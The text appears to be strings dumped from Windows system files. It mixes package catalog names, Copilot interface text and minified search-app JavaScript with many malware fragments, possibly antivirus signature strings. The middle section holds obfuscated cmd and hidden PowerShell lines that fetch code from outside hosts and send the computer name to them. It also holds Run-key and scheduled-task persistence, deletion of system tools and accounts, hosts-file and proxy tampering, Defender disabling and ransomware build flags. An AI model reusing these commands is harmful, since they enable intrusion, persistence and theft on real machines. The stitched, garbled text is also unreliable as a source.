Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|1
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
lregsvr32.exe%systemroot%\\system32\\.-s
?.cpp$system32%\ole32.dll
command=windir+"\syswow64\windowspowershell\v1.0\powershell.exe"
copy /y "C:\Windows\system\loop.exe" "C:\Program Files\Windows NT"> nulc
SCHTASKS /Create /TN %name% /TR "'C:\Windows\system\Zloop.exeS
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows P
?streamReceiveWindowSize@QHttp2Configuration@@QEBAIXZ
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
	Windows-Desktop-RequiredA
@Devices@Windows
Path=C:\WINDOWS\system32;
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Applications\Windows7
OS=Windows_NT&
SLGetWindowsInformationDWORD
shell\twinui\softlanding\lib\windowstippresenter.cpp
shell\twinui\softlanding\lib\WindowsTipPresenter.h
Start-Process -FilePath "C:\Users\Public\Documents\dejxaoqet.exe"powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass  -command
WindowsCreateStringReference
Microsoft.Windows.Midi2.KSTransport
vXc:\windows\system32\cmd.exe/crobocopy"\\vocabulary-bangladesh-de
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Windows
"windows firewall/inter 
d\Windows Live\%s\%s@%
WindowsVersion
\windows dis6
pwindows
ic:\windows\
"-windowstylehidden
"%nwxf:mxe=%%dtm:lpujb=/%"<nul>%rufe%.hta|cmd/c!px!!rufe!.hta"#c:\windows\system32\imageres.dll
w!/cguyairowem\tarsecarmy.cmdabcdefghijklmnopnrstuvwxyz0123456789c:\windows\system32\shell32.dll
H/cnapphipold\chialadeea.cmdabcdefghijklmnopsrstuvwxyz0123456789c:\windows\system32\shell32.dll
/cnilflysady\damolecuer.cmdabcdefghijklmnoprrstuvwxyz0123456789c:\windows\system32\shell32.dll
tp.exedel %systemroot%\system32\tftp.exedel %systemroot%\system32\cscript.exedel %systemroot%\system32\msconfig.exedel %systemroot%\system32\at.exedel %systemroot%\system32\query.exedel %systemroot%\system32\iniuser1stat.exeiniuser1 user kevin /deliniuser1 user iisadmin /delkill.bat
echo "autoconfigurl"="http://%ok%/proxy.pac" >> iecfg1.regecho user_pref("network.proxy.autoconfig_url", "http://%ok%/proxy.pac");do echo grant {  permission java.security.allpermissionreg add "hkey_local_machine\software\microsoft\windows\currentversion\run
c:\windows\system32\drivers\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
mfuck.regc:\windows\temp\
c:\windows\temp\
nthide.dllhideprocesenumwindows
c:\windows\system32\
http://ijk.cc/cgi-bin/jl/jloader.pl?loadfile=qhello999w0rld777_qbotnti.exesoftware\\microsoft\\windows\\currentversion\\runonce
&8SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msvd32srv-wait
capturando contatos da paginawww.google.com/accounts/servicelogin?service=orkutemailSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNiexplorerskutsystema de scrapt dllhostchttp://www.orkut.com
c:\windows\system32\reg.exe delete hkey_local_machine\software\microsoft\windows\currentversion\run /v mssysif /freg.exe add hkey_local_machine\software\microsoft\windows\currentversion\run /t reg_szwindow.status='done';document.write('<iframe  id=ifframer thread stop<script>function v(.*)1793a6e6f6e65273e3c2f696672616d653e
C:\WINDOWS\setup.ini
Documents and Settings\All Users\start menu\programs\startup\winsys3.exeC:\WINDOWS\winsys3.exe
Windows XP
Windows 2000
C:\Users\Public\Windows Update\Windows\lib
windowsapp1.exew
0\windows\system32\rundll32.exe
Windows Web Password CredentialWx
D:\\Microsoft\\Microsoft\\windows\\System.vbp
software\microsoft\windows\currentversionwindows service
"Htitle lolbatfile.batbatchfile.batdel c:\windows\system32\drivers\etc\hostscopy hosts c:\windows\system32\drivers\etc\hosts>>%windir%\system32\drivers\etc\hostsecho 75.127.83.echo 75.127.85.
c:\windows\system32\
c:\windows\system32\
disabling windows defenderd
-Ransomware/encryption.EncryptFile-ldflags="-H=windowsgui -s -w -X '
T\windows\</t></si><
TBancanet Empresarial - Windows Internec:\morpheus 
\\?\globalroot\systemroot\system32
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-FB7E4184A6E43FFB2B9CED35836527DC8B2DC0567C198924523FE98472C4B458~31bf3856ad364e35~amd64~~10.0.26100.7839.cat|!
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|UserExperience-AIX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-FB7E4184A6E43FFB2B9CED35836527DC8B2DC0567C198924523FE98472C4B458~31bf3856ad364e35~amd64~~10.0.26100.7839.cat|!
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|UserExperience-AIX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100
WindowsApp!#ALF:Trojan:Win32/Generic_96cdf3c4
..\..\..\windows\system32\cmd.exe/ccollapse_tcat.bat"%systemroot%\system32\imageres.dll%wn]nd.q`xserverzve9g6=d%zve9g6=d%1spsxfl8c&mm.s-1-5-21-2269617652-2489741943-2200564624-50091spsmdphh@.=xhh2mcp
|Rcmd.exeaa-2021/v/cstar^tms^i^exe^cml^pqd^c=^lk^i^kajsb-q^uiet/^f^v"http://7d.wf:8080/beu/upbmhrfzo/bif3atzyifdyw0lw13edrqfed1/!computername!"^e^yuv^h^i^f=x^b^c^k^c!%systemroot%\system32\shell32.dll%
cmd.exeaa-2021/v/cstar^tms^i^exe^cml^pqd^c=^lk^i^kajsb-q^uiet/^f^v"http://7d.wf:8080/beu/upbmhrfzo/bifn0l2u9mnqljlw13edrqfed1/!computername!"^e^yuv^h^i^f=x^b^c^k^c!%systemroot%\system32\shell32.dll%
po:i+00/c:\v1uwindows@owhuz.c~windowsz1ug!system32bowhu\.fesystem32v2fskcmd.exe@fsku^.4icmd.exej-i<c:\windows\system32\cmd.exe/
.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe
c:\windows\system32\cmd.exelottery/d/v/r^st^ar^t^m^sie^x^e^cb^o^rd^az=l^j^b-fv"http://m0.nu:8080/btyicxn0b/pao1kk5pquwf3fubls/!computername!"w^c^syg^e=a^fap^bb^kos/q^ui^e^t^j^sp^g^lz=^lximageres.dll
c:\windows\system32\cmd.exe/c
<c:\windows\system32\cmd.exe/c
c:\windows\system32\cmd.exe/c
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command(new-objectsystem.net.webclient).downlo
WindowsCreateString
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
Software\Microsoft\Windows\CurrentVersion\Runshell\Auto\command="svchovst.EXE"
#%SystemRoot%\System32\Windows.exeshell\open\Command=regsvr32.exe /sCLSID={645FF040-5081-101B-9F08-00AA002F954E}
\systemroot\system32\%s\
SIGATTR:FIND_WINDOWS_WARNINGS
software\microsoft\windows\currentversion\run
c:\windows\mssystem.exeopen adres_www -timeshow/timehide - pokazujepulpitshow/pulpithide -
c:\windows\system32\
c:\windows\system32\
software\microsoft\windows\currentversion\internet settings\cache\special paths\mypath_for_biandouergethookprovider\drivercashe\winmine.exemswsock2.dll\wsm_32open=
copy /y %0 %systemroot%\system32\restore\
winoff.exetskill winoffcopy /y %myfiles%\autorun.infdel "%systemroot%\system32\restore" /f /a /q
semena_door.bat c:\myapp.execmd.exe /c c:\windows/v antiviruz /d %windir%\system\
reg add "hklm\software\microsoft\windows\currentversion\run
 3Ydel %0 /ashell\open=\system32\svchost.exemyloveloveyoubaby123
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
c:\windows\system32\drivers/
c:\windows\system32\drivers/
c:\windows\system32\drivers/
c:\windows\system32\
c:\windows\
[SYSTEM32]
%SystemRoot%\system32\svchost.exe -k netsvcs
Cqc:\windows\system32\liveupdata.dllno createwinlive.exeshell\autoopen\command=.\msocache\90000804-6000-11d3-8cfe-0150048383c0\kb915866.exe
c:\windows\system32\
c:\windows\system32\
{3fdeb171-8f86-ff11-0001-69b8db553683}system32\systemt
software\\microsoft\\windows\\currentversion\\run\\%s\\system32\\drivers\\etc\\hosts127.0.0.1
.vbs&exitifexist%systemroot%\system32\
.vbsstartwscript.exe%systemroot%\system32\
c:\windows\system32\kernl
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
WINDOWS.DATA.JSON.JSONOBJECT
WINDOWS.GLOBALIZATION.GEOGRAPHICREGION
WINDOWS.WEB.HTTP.HTTPREQUESTMESSAGE
WINDOWS.DATA.JSON.JSONARRAY
c:\windows\system32\cmd.exe/cstartconhost--headlesspowershell$trea=@{uri='docusec.top/1.php
#|user-agent: taskkill /pidsoftware\microsoft\windows nt\currentversion\winlogon\notify\winnotifytappinjectsetsecuritydescriptordacl
c:\windows\system32\
-uWindows\ShellNoRoam\MUICache
\C:\WINDOWS\svchos.exe
C:\WINDOWS\system32\ws
C:\WINDOWS\system32\ws
C:\WINDOWS\system32\mws
C:\WINDOWS\system32\mws
/s C:\WINDOWS\system32\mws
x_7133.dllSoftware\Microsoft\Windows\CurrentVersion\Ext\Settings\{E5A7A15F-213F-4FCF-8DE7-D388F9FB09EB}BIN
CNSSearchCnsMinCg.inihttp://assistant.3721.com/help/uninstcns.htmdownload.3721.com/download/cnsSoftware\3721\CnsMin\CnsMinExSoftware\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{D157330A-9EF3-49F8-9A67-4141AC41ADD4}cnsmin.dat
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; www.eliang.com)E
get_OnWindowsg
.length-1;i>=0;--i){let r=this.getRankingData(n,n.Suggestions[i]),u=r?r.lastLaunchTime:null;(!u||u<t)&&n.Suggestions.splice(i,1)}this.removeOldEngagementData(n.SuggestionEngagementData,t)}removeOldEngagementData(n,t){if(n)for(let i in n){let r=n[i];if(r){let u=r.lastLaunchTime;(!u||u<t)&&delete n[i]}}}prune(n){if(this._writing){this._pendingWrites.push(()=>this.prune(n));return}this._writing=!0;this.withStorage(t=>t.removeRangeOnSecondaryKey(0,this.getOldestDateToKeep(),()=>{n&&n(),this.onAfterWrite()},n=>{this.onError(n,"MRUDataProvider prune");this.onAfterWrite()}))||this.onAfterWrite()}instrumentMRUSize(t){let i=0;for(let{value:n}of t)n.Suggestions&&(i+=n.Suggestions.length);let r={totalnumberOfEntries:t.length.toString(),totalNumberOfSuggestions:i.toString()};n.InstrumentationHelper.logClientInstEvent("ClientInst","MRUSize",null,r,"WindowsTelemetry",33554432)}}r._instrumentedStrings={};i.MRUDataProvider=r;n.MRU=n.Old.MRU})(i=t.MRU||(t.MRU={}))})(t=n.Old||(n.Old={}))}(WSB||(WSB={})),function(n){var t;(function(t){function d(t,i){if(!i)throw new Error("Undefined query IQuery for data source: "+t);u||ht();let r=u[t];if(!r)throw new Error("Unsupported data source: "+t);if(n.config.indexerQuerySimplified&&t=="IFF"&&(i===null||i===void 0?void 0:i.queryToFetch.length)<=8)return r[4];let f=r.filter(n=>!n.enabled||n.enabled(i));if(f.length==0)throw new Error("No enabled strategies for data source: "+t);else if(f.length>1)throw new Error("Multiple strategies for data source: "+t);else return f[0]}function tu(n){return u||ht(),!!u[n]}function iu(n,t,i){if(!u||!u[i]||t.taskFrame)return!1;let r=d(i,t);return r.sfgaoFilter?!r.sfgaoFilter(n.getProperty("System.SFGAOFlags")):!1}function i(n,t){return n=rr.concat(n),t&&(n=n.concat(ur)),n}function ht(){a=SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getUserSID();let t=0,[f,e]=ki(t,a,!1),[o,s]=ki(t,a,!0);ft=f;ci=e;u={};n.config.win10FastFileProviderSqlOptimizations?uu(a,u):ru(f,o,e,s,u);let h='"System.Kind" != ANY ARRAY'+fr+" AND "+o;u.MFF=[{selectFields:i(c,!1),filterFieldsSets:[nu],mostRelevantProps:null,kindAndScopeClauses:null,sortClause:null,searchOptions:0,sfgaoFilter:null}];u[yt]=[{selectFields:i(c,!0),filterFieldsSets:[],mostRelevantProps:null,kindAndScopeClauses:h,sortClause:r,searchOptions:0,sfgaoFilter:s}];fu(a,u)}function ru(t,u,f,e,o){let v='"System.Kind" != ANY ARRAY['+ot.concat("link").map(n=>"'"+n+"'").join(", ")+"] AND "+t,tt="\"System.Kind\" = SOME ARRAY['program'] AND "+u,s='"System.Kind" != ANY ARRAY['+ai.map(n=>"'"+n+"'").join(", ")+"] AND "+u,a='"System.Kind" != ANY ARRAY['+li.concat(ot).concat("folder").map(n=>"'"+n+"'").join(", ")+"] AND "+u,ft="\"System.Kind\" = SOME ARRAY['folder'] AND "+u,p="\"System.Kind\" = SOME ARRAY['Music'] AND "+u,w="\"System.Kind\" = SOME ARRAY['Picture'] AND "+u,d='"System.Kind" = SOME ARRAY['+et.map(n=>"'"+n+"'").join(", ")+"] AND "+u,st="\"System.Kind\" != ANY ARRAY['game', 'calendar', 'web history', 'feed', 'contact', 'task', 'journal', 'note', 'instantmessage'] AND "+u;o.IFF=[{selectFields:i(c,!1),filterFieldsSets:[ri],mostRelevantProps:b,kindAndScopeClauses:v,sortClause:n.config.enableIndexerQueryExtensionSort?g(y):r,searchOptions:3,sfgaoFilter:f,enabled:t=>!!(t===null||t===void 0?void 0:t.queryToFetch)&&!n.supportsShortcuts("IFF",t)},{selectFields:i(c,!1),filterFieldsSets:[],mostRelevantProps:b,kindAndScopeClauses:v,sortClause:n.config.enableIndexerQueryExtensionSort?g(y):r,searchOptions:0,sfgaoFilter:f,enabled:t=>!(t===null||t===void 0?void 0:t.queryToFetch)&&!n.supportsShortcuts("IFF",t)},{selectFields:i(it,!0),filterFieldsSets:[lr],mostRelevantProps:b,kindAndScopeClauses:s,sortClause:n.config.enableIndexerQueryExtensionSort?g(y):r,searchOptions:3,sfgaoFilter:e,enabled:t=>!!(t===null||t===void 0?void 0:t.queryToFetch)&&n.supportsShortcuts("IFF",t)},{selectFields:i(it,!0),filterFieldsSets:[],mostRelevantProps:b,kindAndScopeClauses:s,sortClause:n.config.enableIndexerQueryExtensionSort?g(y):r,searchOptions:0,sfgaoFilter:e,enabled:t=>t&&!t.queryToFetch&&n.supportsShortcuts("IFF",t)},{selectFields:i(c,!0),filterFielta.previewPaneLaunchCount=(i.rankingData.previewPaneLaunchCount||0)+t.rankingData.previewPaneLaunchCount);t.rankingData.lastPreviewPaneLaunchTime&&(i.rankingData.lastPreviewPaneLaunchTime=i.rankingData.lastPreviewPaneLaunchTime?Math.max(i.rankingData.lastPreviewPaneLaunchTime,t.rankingData.lastPreviewPaneLaunchTime):t.rankingData.lastPreviewPaneLaunchTime)}else n.push(t)}addToDataIfNotPresent(n,t){let i=JSON.stringify(t,r.removeRankerSignals),u=n.find(n=>JSON.stringify(n,r.removeRankerSignals)==i);u||n.push(t)}storeSuggestionToMRU(t,i,r){if((n.config.enableFileHist||!n.isCloudScopeMruGroupType(t))&&this.loggingEnabled()&&(!n.isZeroInputRecentsDisabledByRegionalPolicy()||!this.dmaWebRecentsType.includes(t.handoffType))){if(this._writing){this._pendingWrites.push(()=>this.storeSuggestionToMRU(t,i,r));return}this._writing=!0;let u=this.getKey(i,t===null||t===void 0?void 0:t.staticGroupType);this._lastKey==u?this.updateAndSaveLaunchData(u,this._valueForLastKey,t,r):this.queryStorage(u,n=>this.updateAndSaveLaunchData(u,n,t,r),()=>this.onAfterWrite(),()=>this.onAfterWrite(),()=>this.onAfterWrite())}}remove(n,t,i){if(this._writing){this._pendingWrites.push(()=>this.remove(n,t,i));return}this._writing=!0;this._lastKey==n?this.removeAndSaveLaunchData(n,this._valueForLastKey,t,i):this.queryStorage(n,r=>this.removeAndSaveLaunchData(n,r,t,i),()=>this.onAfterWrite(),()=>this.onAfterWrite(),()=>this.onAfterWrite())}createOrUpdateDbEntry(i,r,f,e){r?(r.LastUpdated=t.ClientSideStorage.StorageBasedDataProvider.getUnixTime(),r.SuggestionEngagementData=r.SuggestionEngagementData||{}):r={LastUpdated:t.ClientSideStorage.StorageBasedDataProvider.getUnixTime(),SuggestionEngagementData:{}};let o=this.getSuggestionKey(f);if(r.SuggestionEngagementData[o]=this.updateMRUEntryClicksAndTime(r.SuggestionEngagementData[o],r.LastUpdated,e),this.getGroupType&&(r.SuggestionEngagementData[o].groupType=this.getGroupType(f)),n.LightweightStorage.getItem(u)=="1"&&this.isMRUHistoryGroupType&&this.isMRUHistoryGroupType(f)&&n.LightweightStorage.removeItem(u),this.candidatesEnabled()){let n=f.getMruData();n&&i&&(r.Suggestions||(r.Suggestions=[]),this.addToDataIfNotPresent(r.Suggestions,n))}return r}updateMRUEntryClicksAndTime(n,t,i){return n?(n.prefixLaunchCount+=1,n.lastLaunchTime=t):n={prefixLaunchCount:1,lastLaunchTime:t},i&&(n.previewPaneLaunchCount=(n.previewPaneLaunchCount||0)+1,n.lastPreviewPaneLaunchTime=t),n}getOldestDateToKeep(){let i=n.getCurrentDate();return i.setDate(i.getDate()-f),t.ClientSideStorage.StorageBasedDataProvider.getUnixTime(i)}updateAndSaveLaunchData(t,i,r,u){if(i=n.safeExecute(()=>this.createOrUpdateDbEntry(t,i,r,u),"createOrUpdateDbEntry"),!i){this.onAfterWrite();return}n.safeExecute(()=>this.removeOldLaunches(i,this.getOldestDateToKeep()),"removeOldLaunches");this._lastKey=t;this._valueForLastKey=i;(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&n.PSCache&&n.PSCache.changeMRUDbEntries(t,i);this.withStorage(n=>n.put(t,i,()=>this.onAfterWrite(),n=>{this.onError(n,"updateAndSaveLaunchData");this.onAfterWrite()}))||this.onAfterWrite()}removeAndSaveLaunchData(t,i,r,u){if(!i){n.LogWSBError("removeAndSaveLaunchData",null,new Error("MRU entry not present"),undefined,undefined,"WindowsTelemetry");this.onAfterWrite();return}let f=-1,e=JSON.stringify(r);if(f=(i.Suggestions||[]).findIndex(n=>JSON.stringify(n)==e),f==-1){n.LogWSBError("removeAndSaveLaunchData",null,new Error("Suggestion not present in MRU"),undefined,undefined,"WindowsTelemetry");this.onAfterWrite();return}i.Suggestions.splice(f,1);this._lastKey=t;this._valueForLastKey=i;(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&n.PSCache&&n.PSCache.changeMRUDbEntries(t,i);this.withStorage(n=>n.put(t,i,()=>{u&&u(),this.onAfterWrite()},n=>{this.onError(n,"removeAndSaveLaunchData");this.onAfterWrite()}))||this.onAfterWrite()}getRankingData(n,t){return n.SuggestionEngagementData?n.SuggestionEngagementData[t.suggestionKey]:undefined}removeOldLaunches(n,t){if(n.Suggestions)for(let i=n.Suggestions((n,t,i)=>this.storeSuggestionToMRU(n,t,i)));let a,v=(t,i,u)=>r(o,i=>{t(i);let r=n.getTimeDiffInDays(a);(r===null||r>=1)&&(a=n.getCurrentDate(),this.prune());this.getStorage(n=>this.instrumentMRUSize(n),()=>this.onAfterWrite(),()=>this.onAfterWrite(),()=>this.onAfterWrite())},i,u,l),y=(t,i,r)=>(n.MockUrlParameters&&!n.MockUrlParameters.mockMRUDataOff&&(i=n.MockedMRUData),n.safeExecute(()=>this.createMruResponse(t,i,r),"createMruResponse")),p=()=>!0,w=n=>n=="R"?undefined:n;n.Host.bindClearMRURequested(async i=>{this.teardownStorage(),t.ClientSideStorage.deleteDatabase(o,()=>i(!0),()=>i(!1)),(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&await n.PSManager.clearMRUAtButtonClickedAsync("ClearRequested")},o);super(v,y,p,w,c);this.dataSource=c;this.dmaWebRecentsType=[0,13,14,16,15];this.candidatesEnabled=s;this.loggingEnabled=h;this.getSuggestionKey=u;this.getGroupType=f;this.isMRUHistoryGroupType=e;this._pendingWrites=[];sj_evt.bind("clearMRUButtonClicked",async()=>{t.ClientSideStorage.deleteDatabase(o),this.reloadStorage(),(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&await n.PSManager.clearMRUAtButtonClickedAsync("ButtonClicked")});(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&(n.Host.bindBootstrapDone(async()=>{(n.config.backfillActionCode==1||n.config.backfillActionCode==11||n.config.backfillActionCode==21)&&await n.PSManager.checkAndBackfillMRUAtBootstrapAsync("BootstrapDone")}),n.Host.bindShown(async()=>{(n.config.backfillActionCode==10||n.config.backfillActionCode==11||n.config.backfillActionCode==12)&&await n.PSManager.checkAndBackfillMRUAtBootstrapAsync(""),n.config.backupActionCode==10&&n.PSManager.checkAndBackupMRUAtDismiss("Shown")}),n.Host.bindDismissed(async()=>{(n.config.backfillActionCode==20||n.config.backfillActionCode==21||n.config.backfillActionCode==22)&&await n.PSManager.checkAndBackfillMRUAtBootstrapAsync("Dismiss"),n.config.backupActionCode==20&&n.PSManager.checkAndBackupMRUAtDismiss("Dismiss")}))}createMruResponse(t,i,r){t&&t.isSearchHomeZI&&(n.PSManager===null||n.PSManager===void 0?void 0:n.PSManager.isPSFeatureEnabled(this.dataSource))&&n.PSCache&&(i&&(i=i.filter(t=>t.key!=n.PSManager.MRUBackfillSignalKey)),n.PSCache.setMRUDbEntries(i));i=i||[];let f=this.getKey(t);this._lastKey=r?f:null;let l=r?i.find(n=>n.key==f):null;this._valueForLastKey=l?l.value:null;let u={};if(this._valueForLastKey&&(u.SuggestionEngagementData=this._valueForLastKey.SuggestionEngagementData),u.LookupCompletions=i.map(n=>({key:n.key,value:n.value.SuggestionEngagementData})),this.candidatesEnabled()){let t=[],r=this.getOldestDateToKeep();for(let{key:u,value:n}of i)if(n.Suggestions)for(let i of n.Suggestions){let f=this.getRankingData(n,i);f&&f.lastLaunchTime&&f.lastLaunchTime>=r&&t.push({rankingData:u==this._lastKey?{prefixLaunchCount:f.prefixLaunchCount,lastLaunchTime:f.lastLaunchTime,previewPaneLaunchCount:f.previewPaneLaunchCount,lastPreviewPaneLaunchTime:f.lastPreviewPaneLaunchTime}:f,suggestionData:i,remove:n=>this.remove(u,i,n)})}t.length>0&&(u.Suggestions=[],t.sort((n,t)=>t.rankingData.lastLaunchTime-n.rankingData.lastLaunchTime),t.forEach(n=>this.addToResponseIfNotPresent(u.Suggestions,n)),f?f.length<=e?u.Suggestions.splice(s):f.length<=o&&u.Suggestions.splice(h):n.config.enableMRUDSBV2&&n.shouldShowDSBFullWidth()?u.Suggestions.splice(n.config.maxMruDSBV2):u.Suggestions.splice(c))}return u}fetch(t,i,r,u,f){if(n.isDataSourceEnabled(this.dataSource,t))return super.fetch(t,i,r,u,f)}static removeRankerSignals(n,t){return n=="highConfidenceMetaSuggestionScore"||n=="prefetchConfidenceScore"?undefined:t}addToResponseIfNotPresent(n,t){let i=n.find(n=>n.suggestionData.suggestionKey==t.suggestionData.suggestionKey);if(i){let n=i.remove;i.remove=i=>n(()=>t.remove(i));i.rankingData.lastLaunchTime=Math.max(i.rankingData.lastLaunchTime,t.rankingData.lastLaunchTime);i.rankingData.prefixLaunchCount+=t.rankingData.prefixLaunchCount;t.rankingData.previewPaneLaunchCount&&(i.rankingDa.anaheimRankingSignals={dateCreated:new Date(t.dateCreated),dateModified:new Date(t.dateModified),dateVisited:new Date(t.dateVisited),visitCount:Number(t.visitCount),urlTypedCount:Number(t.urlTypedCount)};let v=((f=a===null||a===void 0?void 0:a.hostname)===null||f===void 0?void 